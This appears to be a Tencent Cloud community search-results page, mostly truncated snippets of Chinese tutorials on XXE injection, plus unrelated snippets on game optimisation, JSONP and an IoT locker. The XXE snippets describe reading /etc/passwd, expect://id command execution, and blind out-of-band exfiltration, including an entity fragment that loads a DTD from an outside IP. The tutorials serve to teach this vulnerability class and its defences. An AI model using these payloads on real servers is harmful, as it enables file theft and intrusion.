首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

腾讯《天涯明月刀》5年研发历程全复盘

对一个项目来说,优化是整个团队的事情,包括策划、美术、客户端程序和服务器程序等同事都需要参与进来。...像上图所示,在技术内测的时候因为太远,Streaming(流式加载物件无法加载,使得这个区域看起来十分地空。...多人战斗是非常动态的环境,所以我们设计了一套测试机制,协同服务器、客户端和QA Team一起选择稳定的服务器和客户端版本,部署在几乎接近于真实的外网测试环境,测试服务器长期地在同一位置进行大量角色的耗费性能模拟...由于多人场景是一个非常动态的情况,所以会存在非常频繁地加载和释放的调用,为了防止卡顿,我们针对加载创建做了非常多的平滑处理。...例如,我们给定运行时候的角色加载数目上限,我们给Streaming(流式加载)和Loading(底层加载)层控制任何Geometry(物件)和材质的创建数目,甚至包括根据移动来加载的植被,也有平滑加载的机制来防止系统在过度震荡的情况下引起卡顿和多余的计算开销

1.8K31
您找到你想要的搜索结果了吗?
是的
没有找到

XXE -XML External Entity

DTD可以完全独立地包含在文档本身中(称为“内部DTD”),也可以从其他位置加载(称为“外部DTD”),也可以将两者混合使用。 什么是XML自定义实体?...DTD可以完全独立地包含在文档本身中(称为“内部DTD”),也可以从其他位置加载(称为“外部DTD”),也可以将两者混合使用。 什么是XML自定义实体? XML允许在DTD中定义自定义实体。...然后,攻击者必须将恶意DTD托管在他们控制的系统上,通常是将其加载到自己的Web服务器上。...这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释。然后执行恶意DTD中定义的步骤,并将/ etc / passwd 文件传输到攻击者的服务器。...基于错误(外部DTD) 在这种情况下,我们将使服务器加载一个恶意DTD,该DTD将在错误消息中显示文件的内容(仅当您可以看到错误消息时才有效)。

1.7K20

【作者投稿】十分钟带你了解XXE

DOCTYPE 根元素 SYSTEM "DTD文档路径"[定义内容]> 其中第二三种类型中的SYSTEM是一种标识符,可以理解为:根据DTD文件路径,加载这个文件的内容,并赋值给前面的根元素,该标识符意味着该实体将从外部来源获取内容...XXE漏洞原理 既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML...另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。...如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。...若使用XMLreader来解析实体的,可以在加载实体前加上下面这段来禁止解析实体。 <?

70300

初始XXE

xxe即"XML外部实体注入漏洞",顾名思义,是由于XML允许引入外部实体导致的漏洞,当程序没有禁止或者对外部实体做验证,攻击者构造特殊的xml语句传到服务器服务器在传输给XML解释器,xml解释器根据外部实体进行处理后返回对应的内容给服务器...DOCTYPE 根元素名 SYSTEM "xxx.dtd"> 1.2.2 PUBLIC关键字 PUBLIC适用于引用外部服务器上的公共dtd文件 <?...payload传到xml解析器让其执行获取内容,从而造成了文件读取 其原理也是因为允许外部实体的加载,导致可以加载本地的文件 <!DOCTYPE passwd [ <!...,xml解释器处理完后,不会输出我们想要的内容,此时需要通过数据外带的方式,通过在自己的服务器上开启一个监听端口,然后通过外部dtd文件访问服务器端口带上读取到的内容,这样子就可以监听到了 盲注需要用到参数实体

37030

初始XXE

xxe即"XML外部实体注入漏洞",顾名思义,是由于XML允许引入外部实体导致的漏洞,当程序没有禁止或者对外部实体做验证,攻击者构造特殊的xml语句传到服务器服务器在传输给XML解释器,xml解释器根据外部实体进行处理后返回对应的内容给服务器...> SYSTME关键字适用于引用系统文件夹下的dtd文件 ```xml ``` ### 1.2.2 PUBLIC关键字 > PUBLIC适用于引用外部服务器上的公共dtd文件 ```xml...- DOS攻击 - 内网端口探测 - ... ... ## 7.1 文件读取 - file协议 - php伪协议 ### 7.1.1 file协议 > 文件读取在XXE利用中是最常见的,通过加载外部实体构造恶意的...payload传到xml解析器让其执行获取内容,从而造成了文件读取 > 其原理也是因为允许外部实体的加载,导致可以加载本地的文件 ```xml ]> &passwd; ``` > 通过构造上述的...,xml解释器处理完后,不会输出我们想要的内容,此时需要通过数据外带的方式,通过在自己的服务器上开启一个监听端口,然后通过外部dtd文件访问服务器端口带上读取到的内容,这样子就可以监听到了 > 盲注需要用到参数实体

30010

Web漏洞|XXE漏洞详解(XML外部实体注入)

但是在大多数情况下,即使服务器可能存在XXE漏洞,服务器也不会向攻击者的浏览器返回任何响应。遇到这种情况,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。...错误获取数据:通过构造dtd然后从错误中获取数据 通过OOB进行目录浏览和任意文件读取 注:Linux机器可以目录浏览和任意文件读取,Windows机器只能任意文件读取 Blind XXE是由于虽然目标服务器加载了...那么,我们是否可以想其他的办法,将服务器读取的数据传送给我们的VPS呢?...除此之外,我们也可以使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求,将 XXE 转换为SSRF(服务器端请求伪造)。...如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令: <!

1.9K10

XML外部实体(XXE)注入原理解析及实战案例全汇总

2)什么是DTD DTD(document type definition)文档类型定义用于定义XML文档的结构,它作为xml文件的一部分位于XML声明和文档元素之间,比如下面DTD 它就定义了 XML...XML外部实体是一种自定义实体,定义位于声明它们的DTD之外,声明使用SYSTEM关键字,比如加载实体值的URL: 这里URL可以使用file://协议,因此可以从文件加载外部实体。...ENTITY xxe SYSTEM "expect://id" >执行命令; c.)无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。...ENTITY % dtd SYSTEM"http://197.37.102.90/ext.dtd"> %dtd; %send; ]]> 服务器在解析这个docx文件的时候,如果受害者开启了外部实体,XML...在收到请求调用之后,远程服务器会发送回 DTD 文件: 对于这个OOB XXE漏洞bp有个插件Collaborator client可以帮助测试: 在解压后的xml文件中插入链接,重新压缩上传即可: 若接收到请求

14.8K41

jsonp详解

本地服务器www.taotao.com下有个test-json.htm页面代码如下: ? 调用本地服务器的test-json.htm页面: ?...原因: Script标签加载到资源后,会将资源当做是js脚本解析,但是我们返回的是json数据,所以导致解析失败。 解决: 必须返回js脚本。...3.2 返回js包装后的json 远程服务器remoteserver.com根目录下有个remote.js文件代码如下: alert('我是远程文件'); 本地服务器localserver.com...我们看到调用的url中传递了一个code参数,告诉服务器我要查的是CA1998次航班的信息,而callback参数则告诉服务器,我的本地回调函数叫做flightHandler,所以请把查询结果传入这个函数中进行调用...Jsonp的原理: jsonp通过script标签的src可以跨域请求的特性,加载资源 将加载的资源(通过一个方法名将数据进行包裹)当做是js脚本解析 定义一个回调函数,获取传入的数据 参考文章:【原创

1.6K40

XXE从入门到放弃

XML注入产生的原理 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件... 可以看到应用程序确实是直接解析了xml,那么如果xml文档中有一个参数是用来调用远程服务器的内容?这个参数是可控的,我们可以做什么?...: (1) 客户端发送payload 1给web服务器 (2) web服务器向vps获取恶意DTD,并执行文件读取payload2 (3) web服务器带着回显结果访问VPS上特定的FTP或者HTTP...原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。...影响: 此漏洞非常危险, 因为此漏洞会造成服务器上敏感数据的泄露,和潜在的服务器拒绝服务攻击。 防御方法: 1. 禁用外部实体 2. 过滤和验证用户提交的XML数据 3.

1.4K41

XXE实体注入漏洞详解

原理 既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来...另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。...如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。...DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。...检测是否支持外部实体解析 尝试利用实体和DTD。 引用外部DTD文件访问内网主机/端口 :<!

1.2K20

【IoT应用创新大赛】智能快递箱的设计与实现

快递人员通过管理员系统提供的“快递员识别码”打开智能快递箱的存放物件模式,然后存放物件,并将存放物件后获得的所用箱子对应的唯一“提货码”发送给物主,完成快递员操作。...在本次设计当中,主控芯片就是来控制通信模块ESP8266成功连接上腾讯云服务器,并且能够及时向云服务器上报快递箱状态信息以及处理服务器传送的控制信息,从而完成监控和控制快递箱的功能。 ?...ESP8266在主要功能是将其设置成STA标准模式加入设备管理者的路由器,并打开自身透传模式利用MQTT协议,使得主控芯片能够通过ESP8266连接上腾讯云服务器,从而使得主控芯片与腾讯云服务器能够数据通信...再按下F1表示快递员存放好物件,箱子1关闭。 ? ? (5)当快递人员用箱子1存好物件并关闭箱子1之后,将返回到快递员存放物件模式的页面,此时可以看见箱子1的状态是ful(有物件状态)。...管理员操作系统.png (3)腾讯云平台部分 腾讯云平台部分是我作为开发者需要设计的部分,该部分的作用是定义智能快递箱的各项需要与腾讯云服务器进行数据交互的属性,也就是需要由腾讯云服务器进行监控的属性

2.9K102

Web安全 | XML基本知识以及XXE漏洞(文末有靶机地址)

DTD(文档类型定义) DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 1、内部声明: 完整实例: DTD实体 DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。...2、外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。(不进行回显) ? 外部DTD的内容: ?...大概说一下原理,因为实战中大部分都是不进行回显,那么我们可以让服务器主动请求攻击者的VPS。...那么我们让服务器引用写在VPS的DTD然后他会将payload加载,然后带进并访问我们的VPS,然后我们的VPS查看access_log可以接受到payload返回信息: ?

1.6K30
领券